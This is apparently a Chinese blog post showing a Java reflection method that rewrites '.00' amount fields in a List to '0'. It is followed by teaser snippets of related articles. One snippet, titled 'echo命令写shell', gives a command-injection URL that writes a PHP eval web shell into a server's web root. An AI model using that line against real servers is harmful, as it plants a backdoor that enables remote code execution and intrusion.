Java反射-方法(Method)
工作了三年,第二次使用反射!
遇到的问题描述:
多个页面查询后,返回的List中的对象属性为“.00”,页面显示不友好。
查询原因是因为查询数据的SQL为:to_char(a.applyAmount,'999g999g999d99') as applyAmount,
而数据库中applyAmount的值为0。
如果使用以下SQL语句进行测试的话,查询结果也会查询“ .00”的情况。
同时WEB端已采用标签库的形式解决了该问题,Mobile端使用该标签时,不能进行解析该标签。
SELECT TO_CHAR('0','999g999g999d99') FROM DUAL
这次的编码思路:
利用反射机制,使用List中对应的所有的setter()和getter()方法,将对象的属性重新赋值!
代码如下:
/**
* 利用Java反射机制
* 当List中的对象属性-金额出现“.00”时,替换成“0”
* @author czx
* @date 2014-10-29
* @param list 要处理的List可能是<?>类型的List
* @return 处理后的List,即替换“.00”为“0”的List
*/
@SuppressWarnings({ "unchecked", "rawtypes" })
public static List amonuntOfList2StringUtil(List list) {
List newList = new ArrayList();
// 非空判断
if (list != null && list.size() > 0) {
// 遍历循环list
for (Object o : list) {
// 取得list中存放的对象所属的类
Class c = o.getClass();
// 取得该类的所有方法数组
Method[] ma = c.getMethods();
if (ma.length > 0) {
// 遍历该方法数组
for (Method m : ma) {
// 仅处理set方法
if (m.getName().indexOf("set") >= 0) {
try {
// 取得get()方法
Method newm = c.getMethod(m.getName().replace("set", "get"),new Class[] {});
// 使用get()方法取得对应属性
Object newo = newm.invoke(o, new Object[] {});
// 属性满足去空.trim()后和“.00”相等时,替换为“0”
if (newo != null && ".00".equals(newo.toString().trim())) {
// 使用set()方法,设置属性
m.invoke(o, new Object[] { "0" });
}
} catch (IllegalArgumentException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (SecurityException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}
}
}
newList.add(o);
}
return newList;
}
return list;
}
Java反射-方法(Method)的更多相关文章
- Java 反射机制[Method反射]
Java 反射机制[Method反射] 接着上一篇Java 反射机制[Field反射],通过调用Person类的setName方法将obj的name字段的Value设置为"callPerso ...
- 【译】5. Java反射——方法
原文地址:http://tutorials.jenkov.com/java-reflection/methods.html ====================================== ...
- Java 反射 方法调用
在使用Java 反射时,对方法的调用,可能碰到最多的问题是,方法的变量如何使用.其实,调用方法的变量全部在参数数组里,不管有多少个参数,你都要把它放在参数数组里,如果是单个非数组参数,则可不使用参数数 ...
- java反射机制 + Method.invoke解释 getMethod + 反射理解
功能: 通过读取另一个Dll去创建一个控件(Form,Button,TextBox,DataGridView),然后对当中一些属性进行检查. 创建控件的大致流程是,Assembly->Modul ...
- java反射--方法反射的基本操作
方法的反射 1)如何获取某个方法 方法的名称和方法的参数列表才能唯一决定某个方法. 2)方法反射的操作 method.invoke(对象,参数列表). 代码实例: package com.reflec ...
- java反射——方法
大家都知道反射技术在Java里面时非常重要的一个技术点,因为Java好多框架的编写都是基于反射的,别的不多说,spring框架里面的IOC就是基于反射实现.那么什么是反射呢?JAVA反射机制是在运行状 ...
- Java反射方法总结
1.得到构造器的方法 Constructor getConstructor(Class[] params) -- 获得使用特殊的参数类型的公共构造函数, Constructor[] getConstr ...
- JAVA 反射之Method
★ Method没有构造器,只能通过Class获取. 重点方法: class.getDeclaredMethods():获取所有方法. class.getDeclaredMethod(String n ...
- 【译】7. Java反射——私有字段和私有方法
原文地址:http://tutorials.jenkov.com/java-reflection/private-fields-and-methods.html =================== ...
随机推荐
- JNI笔记
由于要做一个能够加红字体的dialog,而cocos2d中的CCMessageBox是系统内带的,我无法修改其字体颜色.事实上是可以修改的,通过观察发现CCMessageBox被调用后,在安卓平台中会 ...
- C#验证子网掩码的正确性
1. IP合法关于IP地址的合法性验证很简单,方法也很多,比如字符串分解.正则表达式等. 2. 子网掩码是否合法简单来讲,子网掩码就类似这样一串数字,前面一段是连续的1, 类似 ...
- Java包装类
自动装箱:指开发人员可以把一个基本数据类型直接赋给对应的包装类 自动拆箱:指开发人员可以把一个包装类对象直接赋给对应的基本数据类型 要把基本数据类型称为对象的时候,需要把基本数据类型进行包装, 运用: ...
- coreos安装
cloud-config-bootstrap.sh #!/bin/bash cat > "cloud-config.yaml" <<EOF #cloud-conf ...
- Python之with语句
Python之with语句 在Python中,我们在打开文件的时候,为了代码的健壮性,通常要考虑一些异常情况,比如: try: ccfile = open('/path/data') content ...
- echo命令写shell
http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php
- 浅谈T-SQL中的子查询
引言 这篇文章我们来简单的谈一下子查询的相关知识.子查询可以分为独立子查询和相关子查询.独立子查询不依赖于它所属的外部查询,而相关子查询则依赖于它所属的外部查询.子查询返回的值可以是标量(单值).多值 ...
- idea的修改文件变颜色
直接用IntelliJ IDEA 拉SVN 工程 时,如下图所示都不勾选可以成功拉取.
- [MongoDB]mapReduce
摘要 上篇文章介绍了count,group,distinct几个简单的聚合操作,其中,group比较麻烦一点.本篇文章将学习mapReduce的相关内容. 相关文章 [MongoDB]入门操作 [Mo ...
- border边框的宽度/样式/颜色 全部值
border 用emmet写border的时候, 缩写是:bd. 不是b, 也不是bdr: b会扩展成bottom, bdr 会扩展成 border-right, border的宽度: 1px 基本上 ...